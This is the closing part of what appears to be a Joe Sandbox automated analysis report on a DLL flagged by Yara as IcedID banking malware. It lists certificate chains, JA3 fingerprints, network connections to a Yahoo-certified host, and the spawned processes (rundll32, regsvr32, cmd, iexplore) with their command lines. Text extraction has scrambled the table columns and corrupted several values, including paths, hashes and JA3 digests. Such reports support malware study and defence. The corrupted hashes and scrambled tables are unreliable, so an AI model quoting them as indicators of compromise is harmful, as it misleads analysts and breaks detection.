Assurance Server CA, 21
OU=www.digicert.com, 01:00:00
O=DigiCert Inc, C=US  CET
CN=DigiCert High 2021
Assurance EV Root CA, Tue Oct
OU=www.digicert.com, 22
O=DigiCert Inc, C=US  14:00:00
CEST
2013
CN=DigiCert High Tue Oct
Assurance EV Root CA, 22
OU=www.digicert.com, 14:00:00
O=DigiCert Inc, C=US  CEST
2013

Not
After

Wed

Jan 01
00:59:59
CET
2025

Sat Feb
12
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Wed Apr
07
01:59:59
CEST
2021
Sun Oct
22
14:00:00
CEST
2028

Sun Oct
22
14:00:00
CEST
2028

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

JA3 SSL Client Digest

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c
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Timestamp

Mar 10, 2021
05:53:06.583089113
CET

Mar 10, 2021
05:53:06.623038054
CET

Code Mani

Statistics

Behavior

Source
Port

Source IP

87.248.118.22 443

87.248.118.22 443

pulations

)

System Behavior

Dest

Dest IP Port

192.168.2.3 49732

192.168.2.3 49731

Click to jump to process

Subject

CN=*.yahoo.com, O=Oath
Inc, L=Sunnyvale,
ST=California, C=US
CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=*.yahoo.com, O=Oath
Inc, L=Sunnyvale,
ST=California, C=US
CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

Issuer

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US
CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US
CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

@ loaddll64.exe
@ rundll32.exe
@ regsvr32.exe

@ cmd.exe

@ iexplore.exe
@ iexplore.exe

Not
Before

Sun Feb
21
01:00:00
CET
2021
Tue Oct
22
14:00:00
CEST
2013

Tue Oct
22
14:00:00
CEST
2013

Sun Feb
21
01:00:00
CET
2021
Tue Oct
22
14:00:00
CEST
2013

Tue Oct
22
14:00:00
CEST
2013

Not
After

Wed Apr
07
01:59:59
CEST
2021
Sun Oct
22
14:00:00
CEST
2028

Sun Oct
22
14:00:00
CEST
2028

Wed Apr
07
01:59:59
CEST
2021
Sun Oct
22
14:00:00
CEST
2028

Sun Oct
22
14:00:00
CEST
2028

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

JA3 SSL Client Digest

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

Analysis Process: loaddll64.exe PID: 4660 Parent PID: 5484

General
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Start time: 05:52:56

Start date: 10/03/2021

Path: C:\Windows\System32\loaddll64.exe
Wow64 process (32bit): false

Commandline: loaddll64.exe 'C:\Users\user\Desktop\waf3.dll'
Imagebase: 0x7ff789700000

File size: 147456 bytes

MDS5 hash: AA23807629688C6BB738E4ED35503E85
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 1492 Parent PID: 4660

General

Start time: 05:52:56

Start date: 10/03/2021

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: rundll32.exe 'C:\Users\user\Desktop\waf3.dll',#1

Imagebase: 0x7ff6e5a90000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source:
00000001.00000002.202064213.00000239B663F000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source:

00000001.00000003.200791539.00000239B663F000.00000004.00000001.sdmp, Author:
Joe Security

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol

Analysis Process: regsvr32.exe PID: 1720 Parent PID: 4660

General

Start time: 05:52:57

Start date: 10/03/2021

Path: C:\Windows\System32\regsvr32.exe
Wow64 process (32bit): false

Commandline: regsvr32.exe /s C:\Users\user\Desktop\waf3.dll
Imagebase: 0x7ff6a7170000

File size: 24064 bytes

MDS5 hash: D78B75FC68247E8A63ACBA846182740E
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source:
00000002.00000002.200583737.0000000000E53000.00000004.00000020.sdmp, Author:

Joe Security

Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: cmd.exe PID: 3576 Parent PID: 4660
General
Start time: 05:52:57
Start date: 10/03/2021
Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Exploreniexplore.exe'

0x7ff77d8b0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 5656 Parent PID: 3576
General
Start time: 05:52:57
Start date: 10/03/2021
Path: C:\Program Files\internet exploreniexplore.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

File Path

File Path

Registry Activities

Copyright Joe Security LLC 2021

false

C:\Program Files\Internet Exploreniexplore.exe
0x7ff641110000

823560 bytes
6465CB92B25A7BC1DF8E01D8ACS5E7596
true

true

C, C++ or other language

high

Attributes Options Completion
Ascii Completion
Offset Length Completion

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol
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Source

Key Path Completion Count Address Symbol
Source

Key Path Name Type Data Completion Count Address Symbol
Source

Key Path Name Type Old Data New Data Completion Count Address Symbol

Analysis Process: iexplore.exe PID: 5628 Parent PID: 5656

General

Start time: 05:52:58

Start date: 10/03/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path Access
File Path Offset Length Value
File Path

Registry Activities

Key Path

Key Path Name Type
Key Path Name Type Old Data
Disassembly

Code Analysis

Copyright Joe Security LLC 2021

true

'‘C:\Program Files (x86)\Internet Explore'\lEXPLORE.EXE' SCODEF:5656 CREDAT:17410

Iprefetch:2
0x150000
822536 bytes

071277CC2E3DF41EEEA8013E2AB58D5A

true

true

C, C++ or other language

Ascii

high
Attributes
Offset
Data
New Data

Options

Length

Completion

Completion

Completion

Completion

Completion

Completion

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Page 65 of 65



	Table of Contents
	Analysis Report waf3.dll
	Overview
	General Information
	Detection
	Signatures
	Classification

	Startup
	Malware Configuration
	Yara Overview
	PCAP (Network Traffic)
	Memory Dumps

	Sigma Overview
	Signature Overview
	AV Detection:
	E-Banking Fraud:
	Malware Analysis System Evasion:
	HIPS / PFW / Operating System Protection Evasion:
	Stealing of Sensitive Information:
	Remote Access Functionality:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	Contacted IPs
	Public

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon
	Static PE Info
	General
	Entrypoint Preview
	Data Directories
	Sections
	Imports
	Exports


	Network Behavior
	Network Port Distribution
	TCP Packets
	UDP Packets
	DNS Queries
	DNS Answers
	HTTP Request Dependency Graph
	HTTP Packets
	HTTPS Packets

	Code Manipulations
	Statistics
	Behavior

	System Behavior
	Analysis Process: loaddll64.exe PID: 4660 Parent PID: 5484
	General
	File Activities

	Analysis Process: rundll32.exe PID: 1492 Parent PID: 4660
	General
	File Activities

	Analysis Process: regsvr32.exe PID: 1720 Parent PID: 4660
	General
	File Activities

	Analysis Process: cmd.exe PID: 3576 Parent PID: 4660
	General
	File Activities

	Analysis Process: iexplore.exe PID: 5656 Parent PID: 3576
	General
	File Activities
	Registry Activities

	Analysis Process: iexplore.exe PID: 5628 Parent PID: 5656
	General
	File Activities
	Registry Activities


	Disassembly
	Code Analysis



